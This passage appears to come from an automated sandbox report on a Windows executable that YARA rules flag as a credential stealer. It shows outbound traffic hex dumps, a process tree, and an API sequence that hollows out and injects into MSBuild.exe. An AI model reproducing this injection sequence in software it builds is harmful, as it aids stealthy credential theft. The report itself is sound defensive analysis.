2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: c0 58 9d ff 12 9a dc 3b 05 8a 09 29 77 99 64 51 9b 89 ed 98 1e 97 c6 f0 80 53 19 11 0f 44 f5 86 6b 5d 23 79 4a 18 58 6d 93 3a 6d a9 26 e2 a8 ca ff 36 a9 c6 ea 8b e5 b3 10 da 36 34 2f 36 b5 e6 e6 0b 4d ff 3e 12 a8 8e 04 55 46 8d ae 1f 71 19 74 35 36 13 c9 4d 65 84 5f 9a 27 2f b9 58 c0 41 a7 c9 78 9f c4 45 6b 95 ea c4 9d 8c 50 a2 e9 33 8b b8 23 68 02 8a 9d 56 bc f2 55 61 bd 4e d2 5d 85 61 38 a9 d4 18 3c 8d 6a 2c af 40 3c 6f 72 be 89 97 c0 1e b5 e2 c4 1a fd 1d 04 16 ed b3 19 c1 8b 2f bf 1c 2b fd ed 5e 58 67 79 f6 0a 8f 96 f9 67 4e 36 43 83 0f 23 c9 39 93 c0 db 93 d6 de ae 88 d0 39 bf 85 fe fe b0 99 b9 b3 b1 59 f3 ef b5 90 f0 6e 5a ae 7b 39 19 45 68 7b 5a fb 7d b3 55 16 f9 9f 3a 6f 11 2c 42 bf 6d 34 ff 29 8a aa ff e3 62 47 87 4a 63 e8 5e d6 58 c6 a5 75 e2 78 Data Ascii: X;)wdQSDk]#yJXm:m&664/6M>UFqt56Me_'/XAxEkP3#hVUaN]a8<j,@<or/+^XgygN6C#99YnZ{9Eh{Z}U:o,Bm4)bGJc^Xux
2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: 22 0d 26 ee 9a 86 67 a7 a6 bc c4 ce 0c 8e 97 0e ea cb c7 84 3b da 1c aa d0 bb 86 29 07 da 35 ed 87 23 25 d6 9d a6 bc 18 5a b0 42 f5 26 63 14 c5 73 13 3d 42 96 04 cb 4e ea a8 06 5d 2f 20 74 41 c4 2d ba 6e e9 a9 4a ea 77 b7 21 96 cd 54 fe 62 ca df fa 0c a9 36 dd 37 f2 60 f0 d2 48 21 f9 fc b2 60 b1 21 63 f8 5b d9 41 42 6d fb 9d ef c3 48 87 fc 15 50 1f 76 d5 e3 d7 90 c2 a7 e1 cc 6a a0 1d ae 9e bd 0b 4d 6b b5 2e 99 e7 6c 3a 7d 94 a4 01 1c db 55 52 e2 31 e9 f1 a8 dc 51 7c e3 b7 ba 9a f7 8e 1c a7 47 9d c7 9a 4a 1f 08 15 86 8c f8 66 4a 5c 89 a5 da d2 e1 b7 2e 8d 97 2b 90 7d 8e 9a 8e ea a4 ba 77 7c a3 d0 ae 0a 7b 24 7f 99 f7 ea 68 d9 64 fc 20 b9 d9 46 8d 72 aa 9d de 60 d2 0f 89 f8 50 b4 d8 c6 43 1b 0b 02 8c d1 f7 0c 9e 35 df 40 e7 ad d2 d0 8a 73 4b a9 e2 ef 9a 70 Data Ascii: "&g;)5#%ZB&cs=BN]/ tA-nJw!Tb67`H!`!c[ABmHPvjMk.l:}UR1Q\|GJfJ\.+}w\|{$hd Fr`PC5@sKp
2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: b5 54 ea 6e b0 95 a2 b0 e9 51 32 a8 c9 b0 5f f1 f2 64 be ed 3b c3 24 e3 f1 76 9c e8 54 bc 6a d4 8e 3e f1 41 ed f5 76 19 a2 3d d7 e4 28 85 7d dc d6 93 da d7 12 38 49 f3 f9 72 0c ef bb b2 ab 4b 05 04 1d 51 4e eb 78 d2 60 56 8e f2 51 46 43 58 05 f2 20 ac 70 05 40 4b d8 43 2c 51 f0 83 b7 ed 87 70 0b 31 d8 0d bb 2e cd 41 d6 58 88 a0 47 22 83 a0 eb ee 2a 8d 7c 90 05 b0 57 a1 1c fa fd b6 94 e5 38 e5 e1 59 c5 07 b3 28 65 97 61 76 1e b4 b2 57 88 b9 cb 13 98 62 af 8d 60 99 73 fd 77 77 ef f5 ec cc 15 af bc ba 1b 93 ee 56 c7 1c cf 11 9d 72 4e 88 17 0b 76 c0 cb c8 f6 7d 4b 82 8f 6f c6 ee 68 96 5c 74 d2 23 48 60 2e c4 3a f6 ad 32 02 fd 75 ba e6 6d 2a ac 1c b2 3b 41 b3 e2 e8 f7 1f c2 09 3a 90 ae a9 cb bf 40 7b 03 b5 71 a7 67 fc 5b 93 ad 20 0a 9c 93 b0 bc 27 01 aa 48 75 Data Ascii: TnQ2_d;$vTj>Av=(}8IrKQNx`VQFCX p@KC,Qp1.AXG"\|W8Y(eavWb`swwVrNv}Koh\t#H`.:2um;A:@{qg[ 'Hu
2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: 6a 19 1d 41 b8 42 49 2c 02 01 b8 fc 10 00 fd 1b e1 ee 61 d7 51 fe bd 13 cc e6 89 ca b2 a7 09 28 f4 eb 8d a7 88 cf e0 00 cf 08 d0 64 30 cb 60 f6 d0 dc 63 87 c8 30 1b 88 f6 bc 3c 81 25 fa 13 6e 82 c5 88 47 7b 8f 02 96 bb 4d e8 88 20 08 d4 5b bf 2f e3 29 5f ac 43 80 04 e0 5d b0 05 c2 7a 31 c4 dc 91 62 69 e1 56 7a ce 83 f0 a7 eb 7e 61 83 82 be 87 97 6d e7 2b 7b 76 b9 49 fc cd 7a e2 75 76 ac 15 dd 6a 86 bf ff de b2 0f 78 47 f1 4f e4 a8 15 3a 89 00 37 25 bb 41 b0 41 8e 0a 90 13 67 9f 55 64 7c 11 ff 02 79 47 69 14 94 49 41 d3 9d 4b b2 b1 8c 9e 12 9c 6c ee 19 c4 f0 98 28 b5 6f 7f f7 4e 30 39 a2 84 63 9c 96 90 f8 53 9a fc 4e 94 7a 82 48 5c fe 29 d5 2d 02 84 a5 a3 6f 7d 85 e4 ae 17 b8 11 d0 06 7f 67 d4 51 d4 4e 2c 6a 24 02 0e 86 2f 05 4e 1f c9 e0 7b 12 66 8f 91 3c Data Ascii: jABI,aQ(d0`c0<%nG{M [/)_C]z1biVz~am+{vIzuvjxGO:7%AAgUd\|yGiIAKl(oN09cSNzH\)-o}gQN,j$/N{f<
2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: e9 ca 73 41 06 9b f3 3e a7 fc 1a 55 44 40 78 3f 73 ed 25 21 ba e7 6c a2 94 eb dc 5b a7 7d ed e1 c5 3b ad e9 ab 37 db 0e 61 2e 3b 22 5d dc e5 44 cc 8b 95 d7 25 f8 38 46 ed 2d bc 6d aa 59 e7 f3 b3 8d 2f 56 96 ae 15 57 dd 77 d1 89 ac ba ba af 6a b5 db f1 fb 6e 12 8b e6 34 0e 0b de 87 6a 9e 04 bc d6 79 fe d6 87 d5 43 65 3a 4a 95 da 7d 69 a1 fc b8 bb 45 96 a2 fa 1f d2 e7 41 ff 7e 77 4b 66 d8 cf 57 d6 91 ab 4e cf 3b 87 73 24 22 57 5f dc f6 12 84 09 ad 3b 33 27 4f 7f 71 30 ed ff 5e 3a 9a 6a 2f f9 c9 ec fb c1 8c ec e1 38 e6 ec 95 48 53 46 8c ec c6 57 a1 96 e3 0b d1 0d 45 6b 0d 6f d7 1b d6 ef 4d 9c 70 7a 27 1c f2 d4 06 e6 5b ee 8e 41 45 a9 6a 48 56 33 71 1b 57 e3 0a f1 12 cf 40 4a a8 23 b4 b0 a7 e0 da c6 29 bf d1 27 55 39 be c1 7e 0e 0a b1 56 47 aa b7 ec c2 83 34 Data Ascii: sA>UD@x?s%!l[};7a.;"]D%8F-mY/VWwjn4jyCe:J}iEA~wKfWN;s$"W_;3'Oq0^:j/8HSFWEkoMpz'[AEjHV3qW@J#)'U9~VG4
2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: 2e 00 bb 7a 09 57 d0 88 20 0f cb 2d 34 d7 84 d1 15 5e 6a 38 ba c6 54 1d 74 f4 6c 54 17 7c f6 59 9e 70 84 23 86 3e 9f 2d d2 78 07 8e 95 35 59 1b ad ee 50 95 27 63 3b f8 21 27 0e 34 35 96 ee e2 0c ac da 2c a7 0b 03 89 21 d8 6f 07 a5 bd 38 bf b0 e9 09 b8 e4 6d d8 da 00 53 f3 28 ae 88 6e 53 40 93 65 25 08 62 cb d3 fa 82 f9 ce 4d e5 c6 e2 6b 11 f3 73 3c e6 8c 88 e4 2d 1c 30 13 33 cb ec ae a1 8a 3f aa 3b 37 e7 e1 d9 80 35 c5 8d 2b 42 79 1a e8 f1 98 14 be d9 8a 23 8a f2 17 5c 22 36 ce 29 13 05 7e 0c 9c c6 b6 d5 5b 7b c1 8e dc bd 91 64 6d 93 2f 3f ae 28 68 2c 3e f7 84 92 6f 11 26 01 06 ad b4 3e 38 06 aa f1 b5 87 61 ac 86 1d 14 c8 c1 cc 81 fe b2 58 e3 14 ee 39 66 c6 55 f6 5d 53 42 0a 26 28 86 ce 04 84 f7 64 2f 7c ba a9 5a 47 28 bc 3c 82 0b f1 59 fd ca bb 75 db 4e Data Ascii: .zW -4^j8TtlT\|Yp#>-x5YP'c;!'45,!o8mS(nS@e%bMks<-03?;75+By#\"6)~[{dm/?(h,>o&>8aX9fU]SB&(d/\|ZG(<YuN
2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: 38 10 9a 8d 18 4f fc 1b ca e3 f9 c0 c7 94 8e 70 ac e9 52 2e e4 1a 43 ad 12 a5 ee 12 2c aa e3 61 dc f2 c9 26 7c 0c 5f 3e 8e ea be 3e 7d d7 74 38 31 08 c9 d3 68 ce ba 79 4d a6 25 aa 30 21 08 71 92 31 e6 c9 2c 3a 9b d0 16 40 da f8 95 97 d6 a5 b9 8b d0 f8 db b2 f4 d3 50 d4 a2 da 6b 8e 18 67 df 52 9c 5c fa 3c 0d 11 9f 35 62 99 e7 e5 91 37 6a 5e 83 c2 e1 16 3c 7b 95 1a f3 3a b8 dd 92 44 02 21 84 03 c1 ce 4b 12 33 51 99 6f 99 3d 50 d1 8b 06 75 c4 a9 fe 8c d3 02 0b fb c4 d5 c5 63 7e 22 71 83 b2 f2 43 51 ab fd 07 3c df 61 4d 15 88 4a ae 91 f1 91 ef f8 86 2b 40 fa 92 6d 9a a4 50 4b d1 cb f6 2d 1e c0 0e e6 1b 74 8a 4d 86 b7 36 89 52 c9 33 6b 67 40 db 21 6c 2d 97 64 fc 6a 6c c4 63 71 2d 7a 31 15 a4 9f c4 d3 8c d1 4b 36 82 a6 87 f9 8e ef 45 2f b5 26 69 2a 2b f5 a1 01 Data Ascii: 8OpR.C,a&\|_>>}t81hyM%0!q1,:@PkgR\<5b7j^<{:D!K3Qo=Puc~"qCQ<aMJ+@mPK-tM6R3kg@!l-djlcq-z1K6E/&i*+
2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: c5 47 21 87 c2 7e 1e 32 9e ff e9 af 19 0b df 3b 4c 60 18 00 ba 9f 2a c3 09 49 16 82 bc 0c 3f 6f 77 89 09 3f 51 e3 cd b8 86 81 a5 ff 06 57 9f c4 a0 b1 75 f7 bb 18 8e 7a c1 42 c0 65 5f ac 16 ea 2d a1 b4 2b 5e 92 68 84 d8 b2 39 f3 3a f7 72 4e 2b a4 89 a4 be 52 8c d6 f0 21 2c 6b f0 37 1b 90 16 34 57 47 28 12 18 1a 20 b6 77 96 54 0d 19 8a e1 bb b7 ff bb 6f 7d b9 69 65 76 1b 4f 0d 8c 9a d0 1f 1a ac e0 d8 db e9 f4 93 80 b8 3f 76 e1 ca 30 7e 63 89 6f ad 82 01 3f 25 c5 12 bc 01 02 f5 ef 9e 33 a0 73 17 7e 7f f8 4f 39 d9 c7 75 ab 9a 64 04 d9 08 59 3e 8a fc dd 4f 92 8e 75 22 16 00 e2 6e e1 11 77 d1 25 3c 4f c9 70 99 8b db f0 b7 d2 74 52 88 39 01 c9 36 5c 0c 0d 7d 22 fc 1f 19 c5 da 1b 73 59 c2 2a 75 d8 ce 44 3d 36 c2 08 eb c0 4f d8 7e e6 bf 11 a7 18 6f 4b 3b 4c 02 66 Data Ascii: G!~2;L`I?ow?QWuzBe_-+^h9:rN+R!,k74WG( wTo}ievO?v0~co?%3s~O9udY>Ou"nw%<OptR96\}"sYuD=6O~oK;Lf
2024-10-30 21:23:10 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:23:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bem8f5eso5ssa4nj5erql908v6; expires=Sun, 23-Feb-2025 15:09:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PUYFmCVEK4eBA%2BNtdMWaxYED6MLVVwcgzcbmGEBLEiuMOALK2jeX%2FbNCURtPLU8wCbSQLJApZNyLJidRblOrP57vHskf681iGJwE9OaJT%2BM6THKu8HedUxV9iF%2BRRJXDC9k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae76fb49894750-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1260&sent=212&recv=607&lost=0&retrans=0&sent_bytes=2837&recv_bytes=571071&delivery_rate=2366013&cwnd=244&unsent_bytes=0&cid=27f2cfad11f15a9d&ts=1842&x=0"

Target ID:	0
Start time:	17:22:53
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xba0000
File size:	665'088 bytes
MD5 hash:	998C59D4BF9C18E798A6DB77F7CE10F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:22:53
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:22:57
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xba0000
File size:	665'088 bytes
MD5 hash:	998C59D4BF9C18E798A6DB77F7CE10F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2118733198.0000000001379000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2118075950.0000000001379000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2130598412.0000000001379000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2147992648.0000000001379000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2149945390.000000000137B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:22:57
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2516 -s 152
Imagebase:	0x70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0.7%
Signature Coverage:	15.4%
Total number of Nodes:	1131
Total number of Limit Nodes:	7

Executed Functions

Function 00BEE1B4 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00BEE126,00BEE116), ref: 00BEE34A
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00BEE35D
Wow64GetThreadContext.KERNEL32(000000E0,00000000), ref: 00BEE37B
ReadProcessMemory.KERNELBASE(0000009C,?,00BEE16A,00000004,00000000), ref: 00BEE39F
VirtualAllocEx.KERNELBASE(0000009C,?,?,00003000,00000040), ref: 00BEE3CA
WriteProcessMemory.KERNELBASE(0000009C,00000000,?,?,00000000,?), ref: 00BEE422
WriteProcessMemory.KERNELBASE(0000009C,00400000,?,?,00000000,?,00000028), ref: 00BEE46D
WriteProcessMemory.KERNELBASE(0000009C,?,?,00000004,00000000), ref: 00BEE4AB
Wow64SetThreadContext.KERNEL32(000000E0,00DF0000), ref: 00BEE4E7
ResumeThread.KERNELBASE(000000E0), ref: 00BEE4F6

Strings

GetThreadContext, xrefs: 00BEE28C
ReadProcessMemory, xrefs: 00BEE29F
Load, xrefs: 00BEE1F0
ress, xrefs: 00BEE23C
aryA, xrefs: 00BEE1F8
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00BEE349
VirtualAllocEx, xrefs: 00BEE2B2
ResumeThread, xrefs: 00BEE2EE
VirtualAlloc, xrefs: 00BEE279
CreateProcessW, xrefs: 00BEE266
WriteProcessMemory, xrefs: 00BEE2C5
GetP, xrefs: 00BEE234
SetThreadContext, xrefs: 00BEE2D8
TerminateProcess, xrefs: 00BEE3D9

Memory Dump Source

Source File: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 886e9992cd1654a34a765e8d7cb157db1c9d64fce11569bf78f58931c1f670f7
Instruction ID: 81248b29bf131f7bbefb630c4eca6e0107083cf14f7e65acbcb20e7b266d69b3
Opcode Fuzzy Hash: 886e9992cd1654a34a765e8d7cb157db1c9d64fce11569bf78f58931c1f670f7
Instruction Fuzzy Hash: 9EB1F67660028AAFDB60CF69CC80BDA73A5FF88714F158164EA18AB341D774FA41CB94

Function 00BA20B0 Relevance: 13.5, APIs: 1, Strings: 6, Instructions: 1244
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00BA20D7

Strings

t8y, xrefs: 00BA21D0
|Uh), xrefs: 00BA26D7
|Uh), xrefs: 00BA2611
t8y, xrefs: 00BA24D8
t8y, xrefs: 00BA24F0
t8y, xrefs: 00BA21B8

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: t8y$t8y$t8y$t8y$|Uh)$|Uh)
API String ID: 4218353326-1934805655
Opcode ID: 1f003f04f5093356da05e059417104b09e3df23d10008700b34d4253d64fa9ba
Instruction ID: 8c96687e324e7b0eb80c1ff99a033c0faa2376971efffa9cb61a3179da203e2e
Opcode Fuzzy Hash: 1f003f04f5093356da05e059417104b09e3df23d10008700b34d4253d64fa9ba
Instruction Fuzzy Hash: 11923836B197104FDB18CF2DC8E17AA77D2ABC9314F19896EE98AD7351DA78CC018B41

Function 00BA1000 Relevance: 13.4, APIs: 1, Strings: 6, Instructions: 1158COMMON

Download Yara Rule

Strings

nxxz, xrefs: 00BA2010
nxxz, xrefs: 00BA1214
`[c, xrefs: 00BA1C97
[+]: %P, xrefs: 00BA1F09
`[c, xrefs: 00BA1C21
IOS_BASE: , xrefs: 00BA1477

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: IOS_BASE: $[+]: %P$`[c$`[c$nxxz$nxxz
API String ID: 0-3990319704
Opcode ID: 3936879194d0a0d2160c9a760383474ce9503c44fbed8b55c04792ca9015986f
Instruction ID: 26d7149c41a4a6bbcc9714a8bc9bfd21e3ba5c450c032087f6c7c9242e3ed1cd
Opcode Fuzzy Hash: 3936879194d0a0d2160c9a760383474ce9503c44fbed8b55c04792ca9015986f
Instruction Fuzzy Hash: B892557AB5C3408FD764CA2CC4D13AAB7E2EB9A300F148D6EE599C7351DA79CC458B42

Function 00BB2590 Relevance: 10.4, Strings: 6, Instructions: 2867COMMON

Download Yara Rule

Strings

`[c, xrefs: 00BB4750
#+, xrefs: 00BB48C6
`[c, xrefs: 00BB3A7B
#+, xrefs: 00BB2C54
`[c, xrefs: 00BB47B7
`[c, xrefs: 00BB3295

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: `[c$`[c$`[c$`[c$#+$#+
API String ID: 0-2683189902
Opcode ID: 388b93aa0132f9b0fe21b6e18a5a13043a16821350265a93a682214465fc7e5d
Instruction ID: 4e0cb03abe78b176b491c37df566e60ca5a7507b965998ce5e612013a6a66c3d
Opcode Fuzzy Hash: 388b93aa0132f9b0fe21b6e18a5a13043a16821350265a93a682214465fc7e5d
Instruction Fuzzy Hash: 79234736B146408FDB68CA38C4E53FB77D2ABD5310F29986ED88AC7351DAB9CC458B41

Function 00BA6390 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 426
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BA5FF0: _strlen.LIBCMT ref: 00BA615B

FreeConsole.KERNELBASE ref: 00BA6412
VirtualProtect.KERNELBASE(00BEE027,?,00000040,?,00000000,0000000A,00000000), ref: 00BA688D

Strings

%d %d, xrefs: 00BA6444

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual_strlen
String ID: %d %d
API String ID: 1248733679-3777365115
Opcode ID: 5b0fbd9366d1813c3a6e856a302d16141497a0eff3a0d8ec3ee86320b9d8e7b9
Instruction ID: a0d7dc626e41b3e62d8585ddca508a43369ea70ce082e71a32ea0b211676cbb0
Opcode Fuzzy Hash: 5b0fbd9366d1813c3a6e856a302d16141497a0eff3a0d8ec3ee86320b9d8e7b9
Instruction Fuzzy Hash: 2AD16BB6F541044BDF188A38D8957EF37E2EB96300F29847AD819EB391EE79DC058B41

Function 00BA3260 Relevance: 3.7, Strings: 2, Instructions: 1227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`[c, xrefs: 00BA3672
`[c, xrefs: 00BA36E7

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: `[c$`[c
API String ID: 0-3642393026
Opcode ID: 1f852255f082dd03a544f0d4b34c4c30a574c97272642cec222047c64af792c8
Instruction ID: e52f5323203b7f6cdce899dd05b70f58f2a6bd399ebb9317780a4be19bff6942
Opcode Fuzzy Hash: 1f852255f082dd03a544f0d4b34c4c30a574c97272642cec222047c64af792c8
Instruction Fuzzy Hash: 2882697BF65A100B9708CA7ACC923ABA6C36BD9314F1ED47EA859D7341DD7DCC068680

Function 00BDD949 Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BDDD4E: CreateFileW.KERNELBASE(00000000,00000000,?,00BDD9F2,?,?,00000000,?,00BDD9F2,00000000,0000000C), ref: 00BDDD6B

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00BDDA5D
__dosmaperr.LIBCMT ref: 00BDDA64
GetFileType.KERNELBASE(00000000), ref: 00BDDA70
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00BDDA7A
__dosmaperr.LIBCMT ref: 00BDDA83
CloseHandle.KERNEL32(00000000), ref: 00BDDAA3
CloseHandle.KERNEL32(00BD7D3A), ref: 00BDDBF0
GetLastError.KERNEL32 ref: 00BDDC22
__dosmaperr.LIBCMT ref: 00BDDC29

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
